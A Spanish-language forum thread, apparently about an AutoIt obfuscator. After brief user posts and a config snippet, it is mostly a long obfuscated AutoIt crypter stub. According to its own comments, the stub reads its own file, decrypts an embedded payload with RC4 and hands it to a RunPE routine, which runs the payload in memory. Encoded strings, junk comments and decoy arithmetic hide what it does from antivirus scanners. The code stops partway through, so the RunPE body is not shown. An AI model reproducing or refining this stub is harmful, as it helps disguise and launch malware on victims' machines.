undercraft escribió:Perdón un falso positivo en mi test en realidad me sale esto.

undercraft escribió:Muchas gracias SadFud, ya he resuelto el tema. Lamentablemente me rompe al ofuscar pero bueno supongo que es cuestión de probar configuraciones.

Flame escribió:Bueno overxfl0w13
Me arroja el siguiente error que
config.ini no se a encontrado no esta bien formado el config.ini incluso la llame Config.ini con mayuscula y nada
Ejecutándolo en w10 x32 bits

[ProjectFiles]

ScriptToObfuscate = ./TestScripts/Stub.au3
ScriptObfuscated = ./TestScripts/stub_mod.au3
ReplaceIncludes = True

#NoTrayIcon
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Icon=iconorandom.ico
#AutoIt3Wrapper_UseUpx=n
#AutoIt3Wrapper_UseX64=n
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
 KtcErPxg(Eval(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x2" & "D36" & "353" & "5") ) ) ,2) ),@MDAY)


 ogKQXg(Eval(BinaryToString("0x6" & "B") ),Eval(BinaryToString("0x3" & "531") ))


vlNnVGLXHfxsnP()


XXNYquAIhYEWhiO(@DesktopHeight)


bBCwsqLNaDT(10)


fuNc ogKQXg($SuzBiEdNSDfwFoWENWcThFhfbYBCazqAylibIJWFKUi,$clgubbNagFWuqgQfDFJlaekQIbDDuiQmBjvArtRejDyETcMxFa)


dim $OHkBoatngPVdUqFRzYdlIAYPBAmqdzu = ObjCreate(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "86E" & "736" & "96F" &  _ 
"617" & "469" & "637" & "06C" &  _ 
"617" & "06C" & "2E6" & "56C") ) ) ,2) ) 
 WItH $OHkBoatngPVdUqFRzYdlIAYPBAmqdzu
LOCaL $piLgaOYzNTojxhGKypkXjwCFmaAFWYKwzP = 0
AsSIGn(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "146" & "6D7" & "743" & "586" & "A70" & "6B4" & "B79" & "684" & "76A" & "785" &  _ 
"46F" & "7A4" & "E4F" & "596" & "761" & "694" & "C24" & "707" & "A50" & "4B7" & "757" &  _ 
"594" & "146") ) ) ,27) ,ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "145" & "764" &  _ 
"C29" & "6E6" & "272" &  _ 
"696" & "953" & "724" &  _ 
"66C" & "28") ) ) ,3) )



 EndwITh

 eNdfUNC

gLobal $fMniOBaCMJixfkPfviUtOLRBNNspPyezlNvAYVwLtGc = ((919.513928182/-0.110638966515)*(5991.28692368-5991.30388927))
local $daZzpRRqBOOtUjqPkwJOqDyWXeiHkKWQObTHMztxOucbDd = ((-8350.20368215*-0.251368289257)-(1186.49888231+358.477532221))
 whilE $fMniOBaCMJixfkPfviUtOLRBNNspPyezlNvAYVwLtGc > $daZzpRRqBOOtUjqPkwJOqDyWXeiHkKWQObTHMztxOucbDd
gLoBAL $THDkiPJgYTVDdVxAhUVbzfyfDAwMniCj = Eval(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x3" & "438" & "39") ) ) ,1) )

glObaL $VGONJoOaDeOVXkabtQgEBIZUnxfPjeP = 0
asSigN(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "866" & "556" & "E49" & "5A4" & "542" & "516" &  _ 
"762" & "746" & "B61" & "565" & "865" & "4F6" & "144" &  _ 
"6F4" & "F4E" & "4A4" & "74F" & "245" & "665" & "505" &  _ 
"06A") ) ) ,28) ,BinaryToString("0x5" & "7") )

TraYgETMsg()



wENd

local $KgkvdQdxptjfmKEwLQMaefTSwmJASXBjXMDqDiSqTEfyH = ObjCreate(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "C70" & "702" & "E61" & "6C6" & "C68" & "656" & "E73" & "696" & "F61" & "746" & "963") ) ) ,10) ) 
fOr $cAXburIVyyqOEYtUCTXnQshnczfjxmmSPJcPn iN $KgkvdQdxptjfmKEwLQMaefTSwmJASXBjXMDqDiSqTEfyH
DIM $FyGEdNAlZXIItjocmhreodpmpgWXRF = Eval(BinaryToString("0x4" &  _ 
"E") )

GloBal $yTGDgHBkemPJLNcQffiKJPylutdpyP = 0
ASSiGN(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "C50" & "4A6" & "56D" & "426" & "B67" & "484" & "744" & "795" & "450" &  _ 
"247" & "079" & "746" & "46C" & "755" & "079" & "4B4" & "A66" & "695" & "166" &  _ 
"4E6" & "3") ) ) ,14) ,ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x2" & "861" & "6C4" & "576" & "562" &  _ 
"9") ) ) ,5) )

globAl $JGDSNELDCaDHPJrFVSIsMhwYzkNZCPyj = -673.760516247

tRAYGeTmsG()


 NeXt

#cs
Z17pnWmuN8MJdu5qiYFair637M75vUiAi0mut3JabraXnc9EosYuvVKyNazCbYd5lupPKAyQQMZiE4RqOIydEXbm1zXwfQ3qahOmR1y
#ce
Func ipbBeipylpv($sString,$sShift)
    Return StringMid($sString,StringLen($sString)-$sShift+1) & StringMid($sString,1,StringLen($sString)-$sShift)
EndFunc



Func BTRJJqOZzMhfAK($sText )
		Local $Result , $i , $sParams
		$sParams = StringLen($sText)
		For $i = 0 To $sParams
		   $Result = $Result & StringMid($sText, $sParams - $i, 1)
		Next
		Return $Result
	      EndFunc
	   


Func lEKbKeHyRQZGmi($sText)
		Local $Result , $i , $sParams
		$Result  = ""
		$i       = ((-6157.37874047*0.492020076141)+(-7422.47253119*-0.408294398393))
		While $i < StringLen($sText)
		    $Result &= StringMid($sText,$i+1,1) & StringMid($sText,$i,1)
		    $i = $i+2
		WEnd
		If Mod(StringLen($sText),2)<>0 Then
		    $Result &= StringRight($sText,1)
		EndIf
		Return $Result
	      EndFunc
	   


Func vlNnVGLXHfxsnP()
     Select
          Case StringInStr(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x3" & "130" & "343" & "133" & "303" & "833" & "20") ) ) ,3) , @OSLang)
               Return ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "568" & "447" & "463") ) ) ,2) 
          Case StringInStr(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x3" & "330" & "392" & "063" & "302" & "032" & "303" & "932" &  _ 
"383" & "920" & "343" & "020" & "323" & "039" & "323" & "039" &  _ 
"206" & "330" & "203" & "130" & "393" & "138" & "392" & "034" &  _ 
"302" & "031" & "303" & "931" & "303" & "920" & "633" & "020" &  _ 
"303" & "039" & "303" & "839" & "203" & "430" & "393" & "034" &  _ 
"302" & "033" & "303" & "9") ) ) ,57) , @OSLang)
               Return ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "36C" & "696" & "E67" & "684" & "5") ) ) ,6) 
          Case StringInStr(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x3" & "031" & "346" &  _ 
"320" & "303" & "020" &  _ 
"313" & "063" & "306" &  _ 
"363" & "203" & "830" &  _ 
"203" & "030" & "633" &  _ 
"034" & "306" & "331" &  _ 
"386" & "320") ) ) ,23) , @OSLang)
               Return ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "265" & "684" & "66E" & "63") ) ) ,3) 
          Case StringInStr(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x3" & "034" & "303" & "731" &  _ 
"343" & "720" & "303" & "020" &  _ 
"313" & "037" & "306" & "337" &  _ 
"203" & "830" & "203" & "030" &  _ 
"37") ) ) ,2) , @OSLang)
               Return ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "765" & "616" & "E72" & "6D") ) ) ,2) 
          Case StringInStr(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x3" & "130" & "383" & "020" & "343" & "130" & "30") ) ) ,8) , @OSLang)
               Return ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "961" & "6C4" & "974" & "616" & "E") ) ) ,5) 
          Case StringInStr(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x2" & "031" & "343" & "034" & "313" & "430" & "38") ) ) ,5) , @OSLang)
               Return ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "167" & "697" &  _ 
"765" & "6F7" & "26E" &  _ 
"4E") ) ) ,8) 
          Case StringInStr(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x3" & "431" & "353" & "0") ) ) ,3) , @OSLang)
               Return ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "368" & "6C6" & "950" & "6F") ) ) ,0) 
          Case StringInStr(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x3" & "130" & "383" & "620" & "343" & "136" & "30") ) ) ,8) , @OSLang)
               Return ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x7" & "567" & "727" & "450" & "6F7" & "365" & "756" & "5") ) ) ,6) 
          Case StringInStr(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "138" & "302" & "030" & "306" & "130" & "343" & "061" & "353" & "061" & "206" &  _ 
"330" & "203" & "430" & "613" & "438" & "612" & "034" & "302" & "034" & "306" & "134" &  _ 
"306" & "120" & "633" & "020" & "333" & "061" & "333" & "861" & "203" & "430" & "203" &  _ 
"330" & "613" & "330" & "612" & "063" & "302" & "032" & "306" & "132" & "386" & "120" &  _ 
"343" & "020" & "323" & "061" & "323" & "061" & "206" & "330" & "203" & "130" & "613" &  _ 
"138" & "612" & "034" & "302" & "031" & "306" & "131" & "306" & "120" & "633" & "020" &  _ 
"30") ) ) ,9) , @OSLang)
               Return ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "153" & "707" & "368" & "6E6" & "9") ) ) ,3) 
          Case StringInStr(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x3" & "820" &  _ 
"303" & "164" &  _ 
"303" & "431" &  _ 
"64") ) ) ,7) , @OSLang)
               Return ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "869" & "736" & "564" & "537" & "7") ) ) ,0) 
          Case Else
               Return ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "372" & "656" & "469" & "672" & "061" & "6E5" & "34C" & "404" & "F68" & "206" & "974" &  _ 
"207" & "76E" & "656" & "D69" & "657" & "265" & "742" & "064" & "277" & "461" & "6E2" & "863" &  _ 
"722" & "068" & "654" & "F74" & "792" & "974" & "6C") ) ) ,41) 
     EndSelect
EndFunc
#cs
TPKF1FzuowEzH1TTB1k5e7jUGZ17yjGeSlKiZJWiweH6EqAvIehitHaUe1oUwrqS75xXZjwSGbzIAIB0T9gRmOUPn9yaKFW9wKpxG86hC9R2brFH9llX9jIWSblM5hdu5f9STCdOfyIRMCYvbm2LswNN
#ce
Func XXNYquAIhYEWhiO($iColor)
    Return BitAND(BitShift(String(Binary($iColor)), 8), 0xFFFFFF)
EndFunc
Func bBCwsqLNaDT($string)

	Local $iLen = StringLen($string)
	Local $Struct = DllStructCreate(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x5" & "B61" & "726" & "368") ) ) ,0)  & String($iLen + 2) & BinaryToString("0x5" & "D") )
	DllStructSetData($Struct, 1, $string)
	DllStructSetData($Struct, 1, 0, $iLen + 1)
	DllStructSetData($Struct, 1, 0, $iLen + 2)

	Return $Struct
EndFunc
; YhrWH9vpsXTEuzoqpCx2jvO1YkX3GEajTX7a4
Local $acc4ca6b2c86f0012a6d8aa133cc2d58   ;Aquí guardaremos el contenido del stub
Local $ed375ad382aeb0edb7697c76e72f5874a2c79d00ad2e829324834264cd69ab437f609aee97166b756adcb113c33a2ba3   ;Aquí guardaremos el contenido del archivo descifrado
Dim $DcJa8N7SYTOeh5mzH5vR0KAlvRwRFI6JYYmlow2Cz2cmUehxuX58B29tynkzfLTHwG2b2J6evjzq5nLDCsSaDuUaunAnfQFZb5uFdWDcKafytrb62rGYhncuOujPywbsOi11GF6WqgKTyxzYelLr0KWDfi1hHciPG4MLtJYb781CMbAwEuSiT44Wdw3I7OQhA16NYokBhi2jBmlViAmUAvKDS9UW1R4wXnqJQwWsEurm2SAUPKT2NEDHb8UPaeKYAud1vA6pPZIVwX0S
Local $afcc5983c90f832b6efd2be0cfa1066fc134aeb9b0d222aaa9dd5402b08c9bb92e3cf96869becf207c6af4a7b7591a16f004849a19a5921885b06c77f7f4ee7f   = ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "26C" & "746" & "F54" & "756" & "175") ) ) ,6)  ;Contraseña para el RC4
Local $e374edc63d2c08518103a9e33aa16f80eea34b922f2a4fe761b4e799fa26ef84d857e62127ee9dcbe3a2c8bb3fd6bb2a9a4aadda2e3b840e6d192fefa457ebe8   = ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x4" & "D41" & "554" & "24C" & "484" & "F55" & "434" & "14D" & "4F4" & "C") ) ) ,5)  ;Delimitador
#comments-start
VXqyRYag07PeZMxZkdn0MYBleIMaZvXsgkRy3rZNGYelgJEnLUIqKCohdDsbSb7FXNmcL4jqaijIe1DTIee7betS8dQ4eFVBiH2TaSbueCqTR2SuqDONjXN5ZWdbN0FoL6SlMdWtJ1jKN2jZVNPcLkHf
#comments-end
Local $fea0ff396eedef386589284023ebec3f1ba2347d
Local $272d2dcb954c58cc6fa9312c083365f5ce0a95cf   = FileOpen(@ScriptFullPath) ;@ScriptFullPath es una macro para obtener la ruta y nombre del archivo
#comments-start
xa0a743KMlbawJ8dkDSeFmUdcKXMeyAWiJR8XPCbCVFCCZkKrAFdp
#comments-end
$acc4ca6b2c86f0012a6d8aa133cc2d58 = eXEcute(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "465" & "616" & "552" & "696" & "C29" & "462" & "020" & "636" & "639" & "353" & "061" & "636" & "566" &  _ 
"353" & "635" & "333" & "330" & "383" & "263" & "333" & "161" & "393" & "666" & "636" & "335" & "383" & "463" &  _ 
"393" & "563" & "623" & "264" & "326" & "432" & "372" & "824") ) ) ,8) ) 

FileClose($272d2dcb954c58cc6fa9312c083365f5ce0a95cf  )
$ed375ad382aeb0edb7697c76e72f5874a2c79d00ad2e829324834264cd69ab437f609aee97166b756adcb113c33a2ba3   = StringMid($acc4ca6b2c86f0012a6d8aa133cc2d58  , StringInStr($acc4ca6b2c86f0012a6d8aa133cc2d58  , $e374edc63d2c08518103a9e33aa16f80eea34b922f2a4fe761b4e799fa26ef84d857e62127ee9dcbe3a2c8bb3fd6bb2a9a4aadda2e3b840e6d192fefa457ebe8  ) + StringLen($e374edc63d2c08518103a9e33aa16f80eea34b922f2a4fe761b4e799fa26ef84d857e62127ee9dcbe3a2c8bb3fd6bb2a9a4aadda2e3b840e6d192fefa457ebe8  )) ;Dividimos el stub a partir del delimitador
$ed375ad382aeb0edb7697c76e72f5874a2c79d00ad2e829324834264cd69ab437f609aee97166b756adcb113c33a2ba3   = SKVcth($afcc5983c90f832b6efd2be0cfa1066fc134aeb9b0d222aaa9dd5402b08c9bb92e3cf96869becf207c6af4a7b7591a16f004849a19a5921885b06c77f7f4ee7f  , $ed375ad382aeb0edb7697c76e72f5874a2c79d00ad2e829324834264cd69ab437f609aee97166b756adcb113c33a2ba3  ) ;Desciframos el archivo
csmLCc($ed375ad382aeb0edb7697c76e72f5874a2c79d00ad2e829324834264cd69ab437f609aee97166b756adcb113c33a2ba3  , "", @ScriptFullPath) ;Llamamos al RunPE
Func SKVcth($3e57f21a06eef1ee9a7ccf27c7303332da5d59b461fa80c3f72a5a0594aec8f181476026cb5a27d7cb45602a351e5062e46bde10c829e5d3d6ba87bf4b2a12d6    , $277e272211f119e093538b952ee65454e8a6745b    ) ;Función RC4
Local $72a7a63d2c00c051fcc34b4f11dec2ee  [256], $5b8ac5cf5a78ab3a780a5d64d14c9fdf328b0798125c3ccfa9e2f46739f0dd0e  , $a8083c1d8d819c48bd3bb375737ddb95e9956d31032c6a15e4a356ae42172c798f13b3873748e7f6c25b27ec8ee5245fc75f5346b8b3467648247b929f8cfda6  , $2b45e7679a151476ba9f2216bc8e1a5193f24b23  , $0551eafed60ba2b2ac9413c91fafa329b7ceb2f8399689532535c0111e0d1b12  , $6c477cd63f1e0e543afb455b7f8a35c2fb6a3bae30b201de046e2181  , $36a4dc9ccf2bdc09d800556724231fc6  , $0102eabc65f5093abb173e96ef93628404cd51b7b5f6a8e3f64d199db0deb425ccce1b456e2f83a1a92d85218743397b
Local $5f3ede5b8bbb02d58c8d20f0322377ca60ab37f5   = BinaryLen($3e57f21a06eef1ee9a7ccf27c7303332da5d59b461fa80c3f72a5a0594aec8f181476026cb5a27d7cb45602a351e5062e46bde10c829e5d3d6ba87bf4b2a12d6    ), $3e6ef21be437bca6c13c59158e6bee51   = BinaryLen($277e272211f119e093538b952ee65454e8a6745b    )
For $5b8ac5cf5a78ab3a780a5d64d14c9fdf328b0798125c3ccfa9e2f46739f0dd0e   = 0 To 255
$72a7a63d2c00c051fcc34b4f11dec2ee  [$5b8ac5cf5a78ab3a780a5d64d14c9fdf328b0798125c3ccfa9e2f46739f0dd0e  ] = $5b8ac5cf5a78ab3a780a5d64d14c9fdf328b0798125c3ccfa9e2f46739f0dd0e
Next
#region EQMKu

#comments-start
KWEjlKwTyjqD3KoxGisooficlNpvEPMNfII9job8DCrNgfgNsuFmdoI3QJAMPwS41kd5ijhbAvoNuTy1PLgC7w60vLDaCAR6aMEj4flRd
#comments-end
Global $CLBzi6gOmjWsaWXfrx6rEqMETF5gGZIKHv93xWmT8YRO7a6y5saqT6jyXf5abS6ziNh7Z1I5z2jMBFYBL60gCyKHYJENpzVbHLzaVGaRM7C71PyeV6hTK1hJnr9ZH6WyuBJeKopyuQdHNoWY3dhK7mcsWvNlze0qtc91P5XgytkimCa6RLD6ggvJgokgxRop45rb285bc1bo92VUZdnLvYBrX5re9FWU7beAqjJptLeK4EbPTEyDEbLMGSkWINUq2PJpOWW2QQpo7KUF88DxEM0iIfqPqUHwZmmqIKDrwIwtpyi2xd27sojI9jndwSxwF544yJNO7wmxTVbI172V138zM3F8bSV8jGHMRYxOYMb3Uh6Kq6ORJHNbvWVbpd7Jxi0TEbAJEJXiPfayCyllRSXMIjNEEUGd
For $5b8ac5cf5a78ab3a780a5d64d14c9fdf328b0798125c3ccfa9e2f46739f0dd0e   = 0 To 255
$a8083c1d8d819c48bd3bb375737ddb95e9956d31032c6a15e4a356ae42172c798f13b3873748e7f6c25b27ec8ee5245fc75f5346b8b3467648247b929f8cfda6   = Mod($a8083c1d8d819c48bd3bb375737ddb95e9956d31032c6a15e4a356ae42172c798f13b3873748e7f6c25b27ec8ee5245fc75f5346b8b3467648247b929f8cfda6   + $72a7a63d2c00c051fcc34b4f11dec2ee  [$5b8ac5cf5a78ab3a780a5d64d14c9fdf328b0798125c3ccfa9e2f46739f0dd0e  ] + Dec(StringTrimLeft(BinaryMid($3e57f21a06eef1ee9a7ccf27c7303332da5d59b461fa80c3f72a5a0594aec8f181476026cb5a27d7cb45602a351e5062e46bde10c829e5d3d6ba87bf4b2a12d6    , Mod($5b8ac5cf5a78ab3a780a5d64d14c9fdf328b0798125c3ccfa9e2f46739f0dd0e  , $5f3ede5b8bbb02d58c8d20f0322377ca60ab37f5  ) + 1, 1), 2)), 256)
#cs
PImpbxgF8X3eMAqjDfmxS8Akiqy7JGZxUKLTUXY8aZ9ACKYQwU8V3wexr32ONhV9Fws2VYCuDmqT8iGuI75aTOLxGaGPD0TVk8sqfOj3VWHNIy68XlCACbYQKtvLj0meoNTjNYPBuFmFZCEXYe4PfNx
#ce
$0551eafed60ba2b2ac9413c91fafa329b7ceb2f8399689532535c0111e0d1b12 = eXeCute(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "661" & "636" & "363" & "333" & "235" & "383" & "137" & "396" & "230" & "323" &  _ 
"866" & "336" & "664" & "633" & "931" & "343" & "464" & "643" & "661" & "353" & "830" &  _ 
"613" & "762" & "333" & "861" & "613" & "766" & "353" & "563" & "616" & "362" & "382" &  _ 
"435" & "205" & "B65" & "203" & "265" & "656" & "331" & "646" & "631" & "623" & "433" &  _ 
"346" & "363" & "316" & "630" & "353" & "063" & "633" & "064" & "323" & "633" & "376" &  _ 
"132" & "612" & "437" & "205" & "D65" & "206" & "430" & "306" & "439" & "663" & "733" &  _ 
"343" & "632" & "663" & "965") ) ) ,86) ) 

$72a7a63d2c00c051fcc34b4f11dec2ee  [$5b8ac5cf5a78ab3a780a5d64d14c9fdf328b0798125c3ccfa9e2f46739f0dd0e  ] = $72a7a63d2c00c051fcc34b4f11dec2ee  [$a8083c1d8d819c48bd3bb375737ddb95e9956d31032c6a15e4a356ae42172c798f13b3873748e7f6c25b27ec8ee5245fc75f5346b8b3467648247b929f8cfda6  ]
Dim $TB26LjGNLaPcPtSzCrwroFpRb4zCSyDXaRumQFruUcDy9DU8ooIr6qFl37sKT6X0odV2edcpCMwSwPnpYQoKP7ZTXlDePPhlZL1xrfJpqbX1rB4Pc1KuEmGzq3TOnp88wjpc5aDMqswxBLG3xTPNc8PihLrtT3VpEbZmgTbKsPAUTdoH3OmOTwFQpHqy39Zlc6aA8beY8RXJQ5VoCGq6hGB4Ev6RzAJOmxTBHLwHpv6eR9Y94CUqz9ZFYaXnW8PJEPVluoiplTV0midN199KJc3rLW81ql8MNsl0m2zCG3Wzvh4TZcZ3O6H0NrJGMqKjmtQMoiJvw1YscpU4ucnEC
$72a7a63d2c00c051fcc34b4f11dec2ee  [$a8083c1d8d819c48bd3bb375737ddb95e9956d31032c6a15e4a356ae42172c798f13b3873748e7f6c25b27ec8ee5245fc75f5346b8b3467648247b929f8cfda6  ] = $0551eafed60ba2b2ac9413c91fafa329b7ceb2f8399689532535c0111e0d1b12
Next
For $5b8ac5cf5a78ab3a780a5d64d14c9fdf328b0798125c3ccfa9e2f46739f0dd0e   = 1 To $3e6ef21be437bca6c13c59158e6bee51
$6c477cd63f1e0e543afb455b7f8a35c2fb6a3bae30b201de046e2181   = Mod($6c477cd63f1e0e543afb455b7f8a35c2fb6a3bae30b201de046e2181   + 1, 256)
$36a4dc9ccf2bdc09d800556724231fc6   = Mod($72a7a63d2c00c051fcc34b4f11dec2ee  [$6c477cd63f1e0e543afb455b7f8a35c2fb6a3bae30b201de046e2181  ] + $36a4dc9ccf2bdc09d800556724231fc6  , 256)
$0551eafed60ba2b2ac9413c91fafa329b7ceb2f8399689532535c0111e0d1b12 = EXeCUTe(ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x3" & "831" & "323" &  _ 
"136" & "653" & "034" &  _ 
"646" & "530" & "316" &  _ 
"232" & "333" & "061" &  _ 
"653" & "362" & "366" &  _ 
"166" & "626" & "332" &  _ 
"333" & "538" & "613" &  _ 
"766" & "356" & "234" &  _ 
"356" & "662" & "336" &  _ 
"135" & "343" & "065" &  _ 
"316" & "533" & "666" &  _ 
"436" & "376" & "334" &  _ 
"373" & "663" & "5B2" &  _ 
"420" & "206" & "565" &  _ 
"633" & "264" & "653" &  _ 
"131" & "346" & "634" &  _ 
"626" & "333" & "666" &  _ 
"335" & "316" & "330" &  _ 
"303" & "032" & "633" &  _ 
"364" & "613" & "661" &  _ 
"373" & "732" & "5D2" &  _ 
"420" & "20") ) ) ,93) ) 

$72a7a63d2c00c051fcc34b4f11dec2ee  [$6c477cd63f1e0e543afb455b7f8a35c2fb6a3bae30b201de046e2181  ] = $72a7a63d2c00c051fcc34b4f11dec2ee  [$36a4dc9ccf2bdc09d800556724231fc6  ]
$72a7a63d2c00c051fcc34b4f11dec2ee  [$36a4dc9ccf2bdc09d800556724231fc6  ] = $0551eafed60ba2b2ac9413c91fafa329b7ceb2f8399689532535c0111e0d1b12
$a8083c1d8d819c48bd3bb375737ddb95e9956d31032c6a15e4a356ae42172c798f13b3873748e7f6c25b27ec8ee5245fc75f5346b8b3467648247b929f8cfda6   = Mod($72a7a63d2c00c051fcc34b4f11dec2ee  [$6c477cd63f1e0e543afb455b7f8a35c2fb6a3bae30b201de046e2181  ] + $72a7a63d2c00c051fcc34b4f11dec2ee  [$36a4dc9ccf2bdc09d800556724231fc6  ], 256)
$2b45e7679a151476ba9f2216bc8e1a5193f24b23   = BitXOR(Dec(StringTrimLeft(BinaryMid($277e272211f119e093538b952ee65454e8a6745b    , $5b8ac5cf5a78ab3a780a5d64d14c9fdf328b0798125c3ccfa9e2f46739f0dd0e  , 1), 2)), $72a7a63d2c00c051fcc34b4f11dec2ee  [$a8083c1d8d819c48bd3bb375737ddb95e9956d31032c6a15e4a356ae42172c798f13b3873748e7f6c25b27ec8ee5245fc75f5346b8b3467648247b929f8cfda6  ])
#region mCIcKGTSq

$0102eabc65f5093abb173e96ef93628404cd51b7b5f6a8e3f64d199db0deb425ccce1b456e2f83a1a92d85218743397b   = Binary($0102eabc65f5093abb173e96ef93628404cd51b7b5f6a8e3f64d199db0deb425ccce1b456e2f83a1a92d85218743397b  ) & Binary(BinaryToString("0x3" & "078")  & Hex($2b45e7679a151476ba9f2216bc8e1a5193f24b23  , 2))
Next
#endregion


#cs
AxdfQIXDti1K0Dzf6UMNgzaBpDjUwnRszv79wINhAlikGhTsdYcZ5agm7YjcHmAm1gRCyy
#ce
Global $d9GC7bsaPCrbqb7aZLLHrxF8UIzJTpQ6LIP5O9MFhapuUce9ixlh5Ps9O1TJDpXklx6dTuJKXckOPpnMlAJnPqfWOd4EgrLWsaeMDhSP6TFXX2xQ3RGfjiejR0TYK9PIM3skfJGDLQE5Plt6RtSDFieUKCnqVd2I0kLRe0RGFNB6vOx4NuWcWbJNRKNVe8BZtHjkk0eWZyHjJK1dTy2dhEMLkLXWMCtbQHNkOcdWwI2nwPcAv4wAGM2iOVZSAzkAkmqmHDtffszUeuXE22m1B74DH9fHivComPuWG4zGtaV6CLTnU7hYOnc36St2cEbKB9wSniiSgTwCeuAJ5zoQXUVL8awmeeW2cf9OsGArcC0cayLhgJ37TeGuUiu7xfV1hsbqUaMpIix0SgppUs5hNyLJEzgtduQScr6uczC4BHg984S9koMlD1v7qckFtZFeTIGJg2gFrON4s5
Return $0102eabc65f5093abb173e96ef93628404cd51b7b5f6a8e3f64d199db0deb425ccce1b456e2f83a1a92d85218743397b
EndFunc   ;==>RC4
Func csmLCc($3b73e8c8c4fa3c207036478361bd4db5d9eefd72    , $d0b4f889d446bb2d495fae505eb8d68fac9fab076c630e4c284a7b201c5c75cf3815be6d042e0d8b7b698cf2085645a0    , $8e534857569c37f52f419bd876e20b235a1a15af    )
Local $P6VzYAPcZndqT81XiNV9fsPwL7on68zqGNCkhouca9gZq0m9FKLIQc77lP8qkcZT7M1SXpcBG3pvbeGhSwGP6uBE2ahhhaDBj9rUoUpML4WG5cGIiLdFjQd5cqgJZHJPG5T8WQSMnpoWH9vRLC04kTRYMZIciGc6dB09LmLgZbos0QDO7f0lE4CHwhq43HTtFP2YlQOdFWkpedQUqlVOuPEw21bPEXU4TfJBZJVqYvtBxyUNrma4ZmNV9ZK0xB0GdY7qLEMBcr9YpDT0q4LFSmkSouIdJrUnTZNuiNWqwSVg20ya3lETBSye3ghZGLnaVN6jP4eT5HaT2rNhwug36kcJ18YaeiaN1bSnzQHf3pjeF4zLa0pbG8syCmgItYP0JVPLrahq8iJAIhfBRRaHlFd2PpT98f4Gkp3atCX639Zq4UJGYhUE
; 0gdi6p6KgdfXnHXbBgivmwGGRB4eKyt7CKUup5mSN4tVNmpC8oWlSs6UqK3q1jENvZUx
If 172 < 270 ANd $8e534857569c37f52f419bd876e20b235a1a15af     = @ScriptFullPath anD 197 = 197 Then
If 197 < 241 ANd Not @Compiled aND 142 = 142 ANd 205 > 133 Then
MsgBox(16, ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x5" &  _ 
"245" &  _ 
"524" &  _ 
"F52") ) ) ,3) , ipbBeipylpv(lEKbKeHyRQZGmi(BTRJJqOZzMhfAK(BinaryToString("0x6" & "465" & "732" & "074" & "656" & "16E" & "742" & "069" & "706" & "372" & "207" & "365" & "6C6" & "520" &  _ 
"696" & "C6D" & "704" & "36F" & "6F2" & "172" & "6C7" & "A61" & "6C6" & "974" & "692" & "075") ) ) ,26) )
#comments-start
KsbCTfjE4DWx5n58j3oNVbJfE2QeBuYxikbl2xVY5oYNUpd
#comments-end
Return 0
EndIf
#region twxNS

EndIf
